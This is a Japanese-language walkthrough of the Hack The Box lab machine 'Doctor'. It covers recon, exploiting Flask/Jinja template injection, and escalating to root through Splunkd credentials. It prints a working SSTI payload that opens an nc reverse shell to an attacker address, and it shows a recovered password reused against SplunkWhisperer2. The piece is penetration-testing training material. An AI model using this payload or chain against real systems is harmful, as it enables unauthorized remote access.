Doctor 日本語でウォークスルー Hack The Box Machine:

HTB htb-easy

Hack The BoxのDoctorのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。

HTB Doctor ウォークスルー・ライトアップ Hack The Box

Summary

local shell取得まで

ターゲットポート:TCP 80(http)
脆弱性:ターゲットのwebサイトでは、「Flask Jinja Template Injection」(Server Side Template Injection:SSTI)の脆弱性が内在していた。
これを利用し、shellを取得した。
local権限を取得したユーザ:「web」

privilege Escalation取得まで

脆弱性:ターゲット内部には、「Splunkd」サービスのクレデンシャル情報が閲覧できるようになっていた。これを利用し、「root」のshellを取得した。
root権限を取得したユーザ:root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号22(ssh),80(http)が開いていることが分かりました。
また、追加のnmapで8089(Splunkd)も動作していることが分かりました。

まずはhttpサービスから調査していくことにしました。

ターゲットのhttpサービス調査

まずは、httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
医療関連のホームページのようでした。

気になったのはメールアドレスとして以下が記載されていました。

info@doctors.htb

そのため、自分の「/etc/hosts」に「doctors.htb」を追加しました。

gobusterを使って、「doctors.htb」のフォルダ階層を調査しました。

追加した「doctors.htb」にfirefoxでアクセスした所、以下ログインページが見つかりました。

「register」から新しいアカウントを作成し、そのアカウントでログインしました。
ログイン後、「New Message」から「New Post」が作成できることが分かりました。

この「New Post」に脆弱性が無いかを検証することにしました。

「New Post」の脆弱性調査

記事を投稿する系の脆弱性としては、SQLインジェクションやクロスサイトスクリプティングが主流です。
しかし、これらの脆弱性はヒットしませんでした。

色々調査した結果、「Flask Jinja Template Injection」(Server Side Template Injection:SSTI)という脆弱性が見つかりました。

上記の記事を参考に、「Flask Jinja Template Injection」の価値検証(PoC)を実施しました。

{{7*7}}

上記の様に「7×7」を計算するような記事を作成しました。上画像では、計算がされていませんでした。
しかし、先程gobusterで見つけた「archie」へ接続した所、以下の通り「7×7の計算結果である「49」が表示されていました。

価値検証が成功したため、「Flask Jinja Template Injection」の脆弱性を元にreverse-shellを取得する方法を検討することにしました。

local shellの取得

「Flask Jinja Template Injection」の脆弱性からreverse-shellを取得する

Exploring SSTI In Flask/Jinja2Subprocess managementを参考に、以下のreverse-shell用のスクリプトを作成しました。

{{ ''.__class__.__mro__[1].__subclasses__()[407](["/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 4444 >/tmp/f"]) }}

上記のスクリプトで「New Post」を作成しました。
firefoxで「doctors.htb/archie」へ接続した所、
以下の通り、「web」ユーザーのshellを取得できました。

Privilege Escalation

Privilege Escalationの脆弱性調査

「web」ユーザーでターゲット内部を調査した所、以下の「home」ディレクトリに「shaun」というユーザを見つけました。

「shaun」ディレクトリに「user.txt」を見つけましたが、アクセス権がありませんでした。
しかし、「shaun」というユーザーが存在すると分かったことが収穫でした。

続いて、linpeasを使ってターゲットの内部を調査しました。
その結果、以下パスワードを抽出できました。

Guitar123

「Splunkd」サービスの調査

最初のnmapで「Splunkd」(TCPポート8089)が動作していることを思い出し、このサービスでshellが取得できないか調査しました。

その結果、SplunkWhisperer2というツールを見つけました。こちらのツールを使用してみました。
クレデンシャル情報は、先程見つけた以下を使用しました。

ID:shaun Password:Guitar123


以下の通り、「root」ユーザーのshellを取得できました。

flagを探す

user.txtは「/home/shaun」にありました。
root.txtは「/root」直下にありました。

以上で、Doctorのウォークスルーは終了です。